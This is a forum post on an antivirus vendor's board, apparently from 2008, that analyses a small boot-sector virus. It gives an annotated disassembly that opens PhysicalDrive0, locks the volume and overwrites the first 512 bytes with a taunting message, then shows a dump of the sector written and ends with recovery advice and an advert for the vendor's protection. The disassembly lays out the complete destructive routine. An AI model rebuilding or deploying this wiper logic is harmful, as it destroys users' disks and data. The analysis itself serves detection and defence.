微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: I am virus!
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  I am virus!

00006048   00406048      0   I am virus! Fuck you :-)
00006064   00406064      0   \\.\PHYSICALDRIVE0


打开物理磁盘,然后锁定卷,写磁盘前512字节,解锁关句柄退出

00401000        /$ 81EC 08020000    sub esp,208
00401006        |. 56               push esi
00401007        |. 57               push edi
00401008        |. B9 7F000000      mov ecx,7F
0040100D        |. 33C0             xor eax,eax
0040100F        |. 8D7C24 11        lea edi,dword ptr ss:[esp+11]
00401013        |. 6A 00            push 0                                               ; /hTemplateFile = NULL
00401015        |. F3:AB            rep stos dword ptr es:[edi]                          ; |
00401017        |. 66:AB            stos word ptr es:[edi]                               ; |
00401019        |. 6A 00            push 0                                               ; |Attributes = 0
0040101B        |. 6A 03            push 3                                               ; |Mode = OPEN_EXISTING
0040101D        |. AA               stos byte ptr es:[edi]                               ; |
0040101E        |. 6A 00            push 0                                               ; |pSecurity = NULL
00401020        |. B9 0C000000      mov ecx,0C                                           ; |
00401025        |. BE 30604000      mov esi,virus.00406030                               ; |
0040102A        |. 8D7C24 20        lea edi,dword ptr ss:[esp+20]                        ; |
0040102E        |. 6A 03            push 3                                               ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00401030        |. 68 000000C0      push C0000000                                        ; |Access = GENERIC_READ|GENERIC_WRITE
00401035        |. F3:A5            rep movs dword ptr es:[edi],dword ptr ds:[esi]       ; |
00401037        |. 68 64604000      push virus.00406064                                  ; |FileName = "\\.\PHYSICALDRIVE0"
0040103C        |. C68424 2A020000 >mov byte ptr ss:[esp+22A],55                         ; |
00401044        |. C68424 2B020000 >mov byte ptr ss:[esp+22B],0AA                        ; |
0040104C        |. FF15 10504000    call dword ptr ds:[<&KERNEL32.CreateFileA>]          ; \CreateFileA
00401052        |. 8BF0             mov esi,eax
00401054        |. 83FE FF          cmp esi,-1
00401057        |. 75 0D            jnz short virus.00401066
00401059        |. 5F               pop edi
0040105A        |. 0BC0             or eax,eax
0040105C        |. 5E               pop esi
0040105D        |. 81C4 08020000    add esp,208
00401063        |. C2 1000          retn 10
00401066        |> 8D4424 08        lea eax,dword ptr ss:[esp+8]
0040106A        |. 8B3D 0C504000    mov edi,dword ptr ds:[<&KERNEL32.DeviceIoControl>]   ; kernel32.DeviceIoControl
00401070        |. 6A 00            push 0                                               ; /pOverlapped = NULL
00401072        |. 50               push eax                                             ; |pBytesReturned
00401073        |. 6A 00            push 0                                               ; |OutBufferSize = 0
00401075        |. 6A 00            push 0                                               ; |OutBuffer = NULL
00401077        |. 6A 00            push 0                                               ; |InBufferSize = 0
00401079        |. 6A 00            push 0                                               ; |InBuffer = NULL
0040107B        |. 68 18000900      push 90018                                           ; |IoControlCode = FSCTL_LOCK_VOLUME
00401080        |. 56               push esi                                             ; |hDevice
00401081        |. FFD7             call edi                                             ; \DeviceIoControl
00401083        |. 8D4C24 0C        lea ecx,dword ptr ss:[esp+C]
00401087        |. 6A 00            push 0                                               ; /pOverlapped = NULL
00401089        |. 51               push ecx                                             ; |pBytesWritten
0040108A        |. 8D5424 18        lea edx,dword ptr ss:[esp+18]                        ; |
0040108E        |. 68 00020000      push 200                                             ; |nBytesToWrite = 200 (512.)
00401093        |. 52               push edx                                             ; |Buffer
00401094        |. 56               push esi                                             ; |hFile
00401095        |. FF15 08504000    call dword ptr ds:[<&KERNEL32.WriteFile>]            ; \WriteFile
0040109B        |. 8D4424 08        lea eax,dword ptr ss:[esp+8]
0040109F        |. 6A 00            push 0                                               ; /pOverlapped = NULL
004010A1        |. 50               push eax                                             ; |pBytesReturned
004010A2        |. 6A 00            push 0                                               ; |OutBufferSize = 0
004010A4        |. 6A 00            push 0                                               ; |OutBuffer = NULL
004010A6        |. 6A 00            push 0                                               ; |InBufferSize = 0
004010A8        |. 6A 00            push 0                                               ; |InBuffer = NULL
004010AA        |. 68 1C000900      push 9001C                                           ; |IoControlCode = FSCTL_UNLOCK_VOLUME
004010AF        |. 56               push esi                                             ; |hDevice
004010B0        |. FFD7             call edi                                             ; \DeviceIoControl
004010B2        |. 56               push esi                                             ; /hObject
004010B3        |. FF15 04504000    call dword ptr ds:[<&KERNEL32.CloseHandle>]          ; \CloseHandle
004010B9        |. 6A FF            push -1                                              ; /ExitCode = FFFFFFFF
004010BB        \. FF15 00504000    call dword ptr ds:[<&KERNEL32.ExitProcess>]          ; \ExitProcess

写入引导扇区的内容

0012FD38 ?.??|?.? ?.? ?恂I am virus! Fuck you :-)................
0012FD78 ................................................................
0012FDB8 ................................................................
0012FDF8 ................................................................
0012FE38 ................................................................
0012FE78 ................................................................
0012FEB8 ................................................................
0012FEF8 ..............................................................U


解决方法见:论坛内《揭开数据恢复的神秘面纱》一文
顺便打个广告,微点可以成功拦截此类主引导病毒,拦截后扇区不会有任何变化

BY:unknown tycoon


对于未使用微点主动防御软件的用户,建议尽快将您的杀毒软件特征库升级到最新版本进行查杀


[ Last edited by 点饭的百度空间 on 2008-3-29 at 18:01 ]

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-3-29 17:28
查看资料  发送邮件  访问主页  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号